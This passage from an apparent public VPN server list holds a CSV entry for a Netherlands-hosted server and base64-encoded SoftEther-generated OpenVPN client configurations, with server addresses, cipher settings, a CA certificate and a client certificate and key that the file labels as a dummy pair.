iIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSA5NS4xNzAuMTc3LjYgMTg0Ng0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn716320304,89.99.61.214,743123,10,73300483,Netherlands,NL,15,67844195,5131,400682124564,2weeks,DESKTOP-0OTSEVD's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSA4OS45OS42MS4yMTQgMTI3Ng0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3Vu